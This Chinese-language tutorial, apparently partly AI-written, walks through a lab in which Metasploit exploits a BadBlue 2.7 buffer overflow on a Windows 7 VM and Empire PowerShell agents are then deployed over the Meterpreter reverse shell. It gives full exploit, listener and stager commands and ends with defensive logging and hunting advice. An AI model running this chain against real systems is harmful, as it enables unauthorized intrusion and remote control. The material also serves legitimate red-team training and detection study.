- 网络安全
- 教程
【免费下载链接】Infosec_Reference
An Information Security Reference That Doesn't Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.
本文基于 Infosec_Reference 仓库中的实战写稿 Empire_and_Metasploit_101.md,完整还原一个“网络服务利用 + 主机后渗透”的经典演练场景:用 Metasploit 利用 Windows 7 虚拟机上的 BadBlue 服务获得低权限 Meterpreter 会话,再通过该会话落地一个 Empire PowerShell Agent,并进一步讲解如何生成 DLL Stager、利用现有 Meterpreter 会话执行 DLL 注入将第二个 Empire Agent 直接注入目标内存。读完后,你将掌握 Metasploit 从扫描、选模块、设参数到出会话的完整流程,以及 Empire “Listener → Stager → Agent” 三段式工作流的实操细节与防御视角。
一、演练目标与攻击链总览
原文档开篇明确了本次演练的目标(Goal):
- 网络利用阶段:利用网络服务漏洞获取立足点 —— 在 Windows 7 虚拟机上利用 BadBlue 服务的 PassThru 缓冲区溢出,得到一个低权限的 Meterpreter 会话;
- 后渗透阶段:利用这个低权限 shell 在目标机上执行 Empire 的 PowerShell Stager 命令,让一个 Empire Agent 在本地 Windows 7 虚拟机上实例化,随后熟悉 Empire Agent 提供的各项能力;
- 进阶阶段:在 Empire 中生成一个DLL Stager,再利用已有的 Meterpreter 会话对目标执行DLL 注入攻击,把另一个 Empire Agent 直接注入目标内存(in-memory),不落盘。
这条链路体现的正是现代红队工具的典型组合:Metasploit 负责“打点”,Empire 负责“驻留与任务执行”,二者会话互通、能力互补。整个演练默认两台机器位于同一子网1.1.254.*:
| 机器 | IP | 角色 |
|---|---|---|
| Kali 虚拟机 | 1.1.254.2 | 攻击机:Metasploit + Empire 服务端 |
| Windows 7 虚拟机 | 1.1.254.5 | 受害机:运行 BadBlue 2.7 服务 |
两台虚拟机如何导入具体的虚拟化平台,原文档交由读者自行处理。
二、演练前必须理解:Empire 的设计特性
原文档在 “Pre-Stuff” 一节强调了几个关于 Empire 的关键事实,理解这些特性是后续所有操作的前提:
- 跨平台:Empire 并非 Windows 专属工具,它提供基于 Python 的 Agent,可以在 macOS 和 Linux 上运行;
- 可配置通信画像(Malleable C2 Profile):Agent 与 Listener 之间的通信行为是可配置的,这一点与 Cobalt Strike 类似,可以使用预置或自制的通信画像;
- 以内存驻留为设计目标:Empire 被设计为尽可能不在磁盘留痕、尽量停留在内存中;
- 例外提醒:Empire 中确实存在一部分会触碰磁盘、违反上述原则的模块,使用前需要自行甄别。模块的完整列表以 Empire 官方仓库为准(仓库在 RT.md 的 Empire 一节中也收录了模块 Wiki、模块合集等延伸资源索引)。
三、环境准备:VM 与软件清单
3.1 Windows 7 受害机
- 下载 Windows 7 虚拟机镜像:原文档指定使用 Microsoft 开发者工具页提供的 Windows 7 官方 VM 镜像(适用于 Edge 浏览器测试的遗留系统镜像);
- 在 Windows 7 VM 内部下载并安装BadBlue(来自 ExploitDB 的 EXP-16806 所附应用,即该服务版本的安装包);
- 解压步骤:BadBlue 下载的是一个
.tar文件,需要用 7-Zip 先解出.tar,再解出里面的 zip 包,最终得到安装程序.exe,按普通流程安装即可。
BadBlue 是一款轻量级嵌入式 Web 服务器,其 2.7 版本存在 PassThru 缓冲区溢出漏洞,正是本次演练的被利用服务。
3.2 Kali 攻击机
- 下载 Kali Linux 虚拟机镜像并导入虚拟化平台;
- 登录 Kali 后,执行更新:
apt update && apt upgrade -y- 安装 Empire(原文档引用的是 Empire 官方的 QuickStart 流程):
git clone <Empire 仓库地址> cd Empire ./setup/install.sh ./setup/setup_database.py执行完install.sh与setup_database.py后,Empire 即完成安装与初始化配置。
四、第一阶段:Metasploit 利用 BadBlue 服务
在 Kali 上启动 Metasploit 控制台并启动数据库(用于存储扫描与利用记录):
msfconsole4.1 端口扫描与版本探测
对 Windows 机器做网络扫描,寻找存在漏洞的服务。原文档给出的命令是:
db_nmap -sS -sV --version-intensity=0 -p80 1.1.254.5-sS:SYN(半开放)扫描;-sV:探测服务版本信息;--version-intensity=0:使用最低强度的版本探测(只探测服务自己声称的版本号,不发送探测指纹包),速度最快;-p80:只扫 80 端口(BadBlue 默认监听 HTTP)。
扫描结果应能识别出目标 80 端口上运行的是 BadBlue 2.7x 服务。
4.2 定位并利用漏洞模块
在 msfconsole 中搜索字符串badblue 2.7:
search badblue 2.7结果中应能注意到模块BadBlue 2.72b PassThru Buffer Overflow。加载并使用该模块:
use exploit/windows/http/badblue_passthru接下来按 Metasploit 的标准参数检查流程逐项确认:
show targets # 查看该模块支持的 Target 列表 show options # 查看模块可用选项 set RHOST 1.1.254.5 # 设置目标地址 set payload windows/meterpreter/reverse_tcp # 指定反向 TCP 的 Meterpreter 载荷 show options # 查看载荷相关选项(如 LHOST/LPORT) set LHOST 1.1.254.2 # 设置回调地址为 Kali 自身 IP show options # 最终复核全部参数 run # 一切正确后直接执行参数逻辑很直接:RHOST指向受害机,载荷选windows/meterpreter/reverse_tcp,所以LHOST必须设为攻击机(Kali)的 IP,受害机才能回调过来。
执行成功后,你会获得一个活跃的 Meterpreter 会话并停在meterpreter >提示符。此时可以输入help查看可用命令。仓库的 Metasploit 参考页 收录了 MSF/Meterpreter 命令参考、模块目录结构与 Meterpreter 基础资料索引,可配合阅读;Meterpreter Scripts and Description.txt 则整理了 Meterpreter 脚本的说明。
注意:此时不要在这个终端继续操作。原文档要求另开一个终端窗口,保留 Meterpreter 会话不动,进入 Empire 环节。
五、第二阶段:Empire Listener 与 Stager 生成
5.1 Empire 的总体工作流
进入 Empire 安装目录,以./empire启动。原文档总结了 Empire 的通用工作流,只有三步:
Create listener(创建监听器) → Create stager(创建投放器) → Stager instantiates/pulls down/runs an Agent(投放器实例化、拉取并运行 Agent)
创建 Listener 的方式是进入 listener 菜单,设置相应选项,然后执行execute/run。
5.2 创建并启动 Listener
listeners # 进入 listener 菜单 show options # 查看 listener 可用选项 set Name Test1A # 将 listener 命名为 Test1A run # 实例化并开始监听run之后,Listener 即开始监听 Agent 的回调。
5.3 生成 Launcher Stager
回到 Empire 主菜单(输入back,若不在主菜单则连续back直到回到主菜单),然后进入 stager:
usestager # 连按两次 Tab 可列出所有可用 stager usestager launcher # 本次只关注 launcher 类型 options # 查看当前 stager 的全部选项 set Listener Test1A # 让 launcher 绑定刚才创建的 listener set OutFile /tmp/test1 # stager 命令输出到该文本文件 options # 复核配置 generate # 生成 stagergenerate之后,配置好的 stager 会写入/tmp/test1(原文档后文也称该文件为/tmp/test,即同一输出文件)。打开该文件,里面是一行编码后的 PowerShell 命令——它的作用就是从你的 Listener 处下载并运行一个 Agent。把这行命令完整复制下来。
关于 Stager 的更多类型与原理,原文档指向了 Empire 官方的 Stagers 文档;仓库的 RT.md 在 Empire 一节也聚合了通信画像定制(Communication Profiles)、C2 指标修改、Domain Fronting 等进阶主题的资料索引,可作为延伸阅读。
六、第三阶段:通过 Meterpreter Shell 实例化 Agent
回到之前保留的 Meterpreter 会话窗口:
shell # 从 Meterpreter 进入底层系统 shell把第五步复制下来的那一行 PowerShell 命令粘贴进这个 Windows 命令行并回车。预期现象是:
- Windows 侧:命令提示符下没有任何确认输出(这正是 stager 的隐蔽性所在);
- Kali 侧 Empire 主菜单:会弹出提示,告知你有新 Agent接入。
至此,目标机上的 PowerShell 进程已经作为 Empire Agent 与 Kali 上的Test1AListener 建立了通信链路。
七、第四阶段:与 Agent 交互并下发模块任务
在 Empire 主菜单中,你会看到新 Agent 的提示,Agent 名是一串半随机的字母数字组合。与 Agent 交互的命令序列为:
agents # 进入 agents 菜单 interact <Agent_Name> # 交互指定 Agent进入交互模式后,你就可以向该 Agent 下发命令了。这里原文档特别强调了一个必须内化的概念:
Empire 不是实时(real-time)工具。它的工作方式是给 Agent 布置任务(tasks),Agent 执行后把结果上报给对应的 Listener。通过 Agent 可以获得接近实时的响应,但它不是实时交互终端,更准确的比喻是“跑腿办事的杂役(errand-boys)”——你派活,它办完回报。
给 Agent 派活的核心命令是usemodule:连按两次 Tab 可以列出当前所有可用的命令模块;也可以直接查看 Empire 主仓库的模块目录(data/module_source)。原文档的经验之谈是:大多数模块在代码内部写有良好注释/文件头部的简短描述,“如果你要运行它,你就该知道它是干什么的”。仓库 RT.md 收录的 “RedTrooperFM – Empire Module Wiki”(一页式模块速查表)和 Empire API Cheat Sheet 正好弥补了“翻代码”这一环节的效率问题。
八、进阶阶段:DLL Stager 与 Meterpreter DLL 注入
原文档设定的最终目标是在 Agent 交互之后继续推进:
- 在 Empire 中生成一个 DLL 类型的 Stager(与前面的 PowerShell launcher 同属 Stager 家族,但产物是 DLL);
- 利用 Windows 7 VM 上已有的 Meterpreter 会话执行 DLL 注入,将这个 DLL Stager 注入目标进程内存,从而直接以内存方式拉起第二个 Empire Agent,全程不落盘。
这一阶段的战术价值在于:完全绕过“在目标机上运行 PowerShell 命令”这一高可见度动作,把第二个 Agent 的落地隐藏在进程内存中,与 Empire “尽量内存驻留” 的设计初衷一致。Meterpreter 侧的注入依赖其进程操作能力(在meterpreter >下先help查看进程类命令,再结合仓库 Meterpreter 脚本说明 理解相关脚本),而 Empire 侧的 DLL stager 生成流程与 5.3 节的usestager→options→set→generate模式相同,只是 stager 类型换成 DLL 产物。由于原文档对这一阶段的逐步命令未完整展开(写稿在 Agent 交互部分收尾),此处仅按原文档 Goal 的描述给出阶段定位,实际操作细节建议结合 Empire 仓库的 Stagers 文档补齐。
九、防御视角:如何防守这套攻击链
原文档在结尾给出了防守建议(Tips for defending against this),共三条:
- Procmon 进程记录(Process Logging):用 Sysinternals Procmon 对进程创建/命令行参数做持续监控。本例中,受害机上会凭空出现一条带超长 Base64 载荷的
powershell -enc ...命令行,这是第一阶段 Agent 落地最直接的暴露点; - 网络日志(Network Logging):监控 80 端口的 HTTP 流量异常。BadBlue 溢出成功后,
Test1AListener 与 Agent 之间的回连通信(checkin 周期、User-Agent、URI 模式)在 PCAP 中可被异常检测发现; - Hunting Empire(针对 Empire 的威胁狩猎):针对 Empire C2 基础设施与行为的专项狩猎。
仓库中这两个方向都有成体系的资料索引可深入:L-SM-TH.md(Logging, Monitoring & Threat Hunting)收录了多篇以 PowerShell Empire 为样本的攻击检测/威胁狩猎文章,包括基于 Windows 事件日志 + Graylog 的 Empire 狩猎、用 Sysinternals 检测 Empire 行为、从红队 Metasploit/Empire 攻击样本做异常检测等案例;Defense.md 则收录了 Empire 后门清除、用于识别 Empire 持久化载荷的 NorkNork 工具等防守侧资源;sysinternals.md 汇总了 Sysinternals 全家桶(Procmon 即其中之一)的资料。
十、本篇涉及的仓库文档索引
| 文档 | 用途 |
|---|---|
| Empire_and_Metasploit_101.md | 本文主体:完整演练写稿 |
| RT.md | 红队/渗透测试资料总索引,其中 Empire 一节聚合了教程、API 速查、模块 Wiki、通信画像定制等资料 |
| metasploit.md | Metasploit 参考页:MSF/Meterpreter 命令参考、各类型模块目录索引 |
| Meterpreter Scripts and Description.txt | Meterpreter 脚本与描述说明 |
| L-SM-TH.md | 日志/监控/威胁狩猎资料索引,含多篇 Empire 检测与狩猎文章 |
| Defense.md | 防守资料索引,含 Empire 后门清除与持久化识别工具 |
| sysinternals.md | Windows 系统内部工具(含 Procmon)资料索引 |
适用前提与限制:本文所有命令均以原文档的演练环境为准——Windows 7 目标(BadBlue 2.7 服务)与 Kali 攻击机同处1.1.254.*子网;BadBlue PassThru 溢出针对的是特定旧版本服务,在真实环境前必须先在隔离实验环境复现。此外 Empire 的 Agent/Listener 通信行为可配置性意味着不同通信画像下,第五至七节的可见痕迹会有差异,防守侧的日志狩猎策略也应随画像调整。
- 网络安全
- 教程
【免费下载链接】Infosec_Reference
An Information Security Reference That Doesn't Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.
相关推荐
5步跑通GB28181视频监控平台:wvp-GB28181-pro摄像头接入、录像回放与级联实战
5步跑通GB28181视频监控平台:wvp GB28181 pro摄像头接入、录像回放与级联实战 wvp GB28181 pro是一款开箱即用的GB28181安
后端音视频前端TencentDB-Agent-Memory Docker 部署实战:镜像构建、配置注入与 K8s 落地
TencentDB Agent Memory Docker 部署实战:镜像构建、配置注入与 K8s 落地 导读 本文以 README.docker.md htt
人工智能大模型AI AgentAgent 记忆后端前端MCP 服务SuperPlane Workspace Agent Resources:为 Factory 工作区统一注入 MCP 服务器与 SKILL.md 技能的 PRD 落地实践
SuperPlane Workspace Agent Resources:为 Factory 工作区统一注入 MCP 服务器与 SKILL.md 技能的 PRD
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考